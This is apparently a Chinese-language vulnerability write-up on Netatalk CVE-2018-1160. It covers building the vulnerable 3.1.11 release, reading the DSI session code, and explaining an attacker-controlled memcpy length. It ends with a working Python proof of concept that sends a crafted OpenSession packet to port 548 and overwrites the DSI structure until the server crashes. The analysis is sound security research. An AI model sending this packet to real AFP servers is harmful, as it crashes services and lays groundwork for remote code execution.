Netatalk CVE-2018–1160 越界訪問漏洞分析
編譯安裝
首先下載帶有漏洞的原始碼
https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/
安裝一些依賴庫(可能不全,到時根據報錯安裝其他的庫)
sudo apt install libcrack2-dev sudo apt install libgssapi-krb5-2 sudo apt install libgssapi3-heimdal sudo apt install libgssapi-perl sudo apt-get install libkrb5-dev sudo apt-get install libtdb-dev sudo apt-get install libevent-dev
然後編譯安裝
$ ./configure --with-init-style=debian-systemd --without-libevent --without-tdb --with-cracklib --enable-krbV-uam --with-pam-confdir=/etc/pam.d --with-dbus-daemon=/usr/bin/dbus-daemon --with-dbus-sysconf-dir=/etc/dbus-1/system.d --with-tracker-pkgconfig-version=1.0 $ make $ sudo make install
編譯安裝好後, 編輯一下配置檔案
[email protected]:~# cat /usr/local/etc/afp.conf [Global] mimic model = Xserve #這個是指定讓機器在你Mac系統中顯示為什麼的圖示 log level = default:warn log file = /var/log/afpd.log hosts allow = 192.168.245.0/24 #允許訪問的主機地址,根據需要自行修改 hostname = ubuntu #主機名,隨你喜歡 uam list = uams_dhx.so uams_dhx2.so #預設認證方式 使用者名稱密碼登入 更多檢視官方文件 [Homes] basedir regex = /tmp #使用者的Home目錄 [NAS-FILES] path = /tmp #資料目錄
然後嘗試啟動服務
$ sudo systemctl enable avahi-daemon
$ sudo systemctl enable netatalk
$ sudo systemctl start avahi-daemon
$ sudo systemctl start netatalk
啟動後 afpd
會監聽在 548
埠,檢視埠列表確認服務是否正常啟動
為了除錯的方便,關閉 alsr
echo 0 > /proc/sys/kernel/randomize_va_space
程式碼閱讀筆記
為了便於理解漏洞和 poc
的構造,這裡介紹下一些重點的程式碼邏輯。
程式使用多程序的方式處理客戶端的請求,每來一個客戶端就會 fork
一個子程序處理請求的資料。
利用客戶端請求資料初始化結構體
首先會呼叫 dsi_stream_receive
把客戶端的請求資料填充到 DSI
結構體中。
使用客戶端的資料填充結構體的程式碼
/*!
* Read DSI command and data
*
* @param dsi (rw) DSI handle
*
* @return DSI function on success, 0 on failure
*/
int dsi_stream_receive(DSI *dsi)
{
char block[DSI_BLOCKSIZ];
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");
if (dsi->flags & DSI_DISCONNECTED)
return 0;
/* read in the header */
if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
return 0;
dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
if (dsi->header.dsi_command == 0)
return 0;
memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);
/* 確保不會溢位 dsi->commands */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
/* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
}
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;
LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);
return block[1];
}
程式碼邏輯主要是填充 header
的一些欄位,然後 拷貝 header
後面的資料到 dsi->commands
。
其中 header
的結構如下
#define DSI_BLOCKSIZ 16
struct dsi_block {
uint8_t dsi_flags; /* packet type: request or reply */
uint8_t dsi_command; /* command */
uint16_t dsi_requestID; /* request ID */
union {
uint32_t dsi_code; /* error code */
uint32_t dsi_doff; /* data offset */
} dsi_data;
uint32_t dsi_len; /* total data length */
uint32_t dsi_reserved; /* reserved field */
};
header
中比較重要的欄位有:
dsi_command
表示需要執行的動作
dsi_len
表示 header
後面資料的大小, 這個值會和 dsi->server_quantum
進行比較,取兩者之間較小的值作為 dsi->cmdlen
的值。
/* 確保不會溢位 dsi->commands */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
這樣做的目的是為了確保後面拷貝資料到 dsi->commands
時不會溢位。
dsi->commands
預設大小為 0x101000
pwndbg> p dsi->commands
$8 = (uint8_t *) 0x7ffff7ed4010 "\001\004"
pwndbg> vmmap 0x7ffff7ed4010
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff7ed4000 0x7ffff7fd5000 rw-p 101000 0
初始化程式碼位置
/*!
* Allocate DSI read buffer and read-ahead buffer
*/
static void dsi_init_buffer(DSI *dsi)
{
if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
AFP_PANIC("OOM in dsi_init_buffer");
}
dsi->server_quantum
預設
#define DSI_SERVQUANT_DEF 0x100000L /* default server quantum (1 MB) */
根據 header 欄位選擇處理邏輯
接下來會進入 dsi_getsession
函式。
這個函式的主要部分是根據 dsi->header.dsi_command
的值來判斷後面進行的操作。這個值是從客戶端傳送的資料裡面取出的。
漏洞分析
漏洞位於 dsi_opensession
當進入 DSIOPT_ATTNQUANT
分支時 會呼叫 memcpy
拷貝到 dsi->attn_quantum
,檢視 dis 結構體的定義可以發現dsi->attn_quantum
是一個 4
位元組的無符號整數 ,而 memcpy
的 size
區域則是直接從 dsi->commands
裡面取出來的, 而 dsi->commands
是從客戶端傳送的資料直接拷貝過來的。所以 dsi->commands[i]
我們可控,最大的大小為 0xff
(dsi->commands
是一個 uint8_t
的陣列)
poc
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import socket
import struct
ip = "192.168.245.168"
port = 548
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
# 設定 commands , 溢位 dsi->attn_quantum
commands = "\x01" # DSIOPT_ATTNQUANT 選項的值
commands += "\x80" # 資料長度
commands += "\xaa" * 0x80
header = "\x00" # "request" flag , dsi_flags
header += "\x04" # open session command , dsi_command
header += "\x00\x01" # request id, dsi_requestID
header += "\x00\x00\x00\x00" # dsi_data
header += struct.pack(">I", len(commands)) # dsi_len , 後面 commands 資料的長度
header += "\x00\x00\x00\x00" # reserved
header += commands
sock.sendall(header)
print sock.recv(1024)
首先設定好 dsi
資料的頭部,然後設定 commands
。設定 commands[i]
長度為 0x80
, 複製的資料為 "\xaa" * 0x80
。
# 設定 payload , 溢位 dsi->attn_quantum
payload = "\x01" # DSIOPT_ATTNQUANT 選項的值, 以便進入該分支
payload += "\x80" # 資料長度
payload += "\xaa" * 0x80 # 資料
當進入
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
就會複製 0x80
個 \xaa
到 dsi->attn_quantum
處, 這樣會溢位覆蓋 dsi->attn_quantum
後面的一些欄位。
傳送 poc
, 在偵錯程式中看看在呼叫 memcpy
後 dsi
結構體內部的情況
可以看到從 dsi->attn_quantum
開始一直到 dsi->data
之間的欄位都被覆蓋成了 \xaa
。由於 dsi->commands
為一個指標, 這裡被覆蓋成了不可訪問的值,在後續使用 dsi->commands
時會觸發 crash
。
總結
當程式需要從資料裡面取出表示資料長度的欄位時一定要做好判斷防止出現問題。
參考
https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172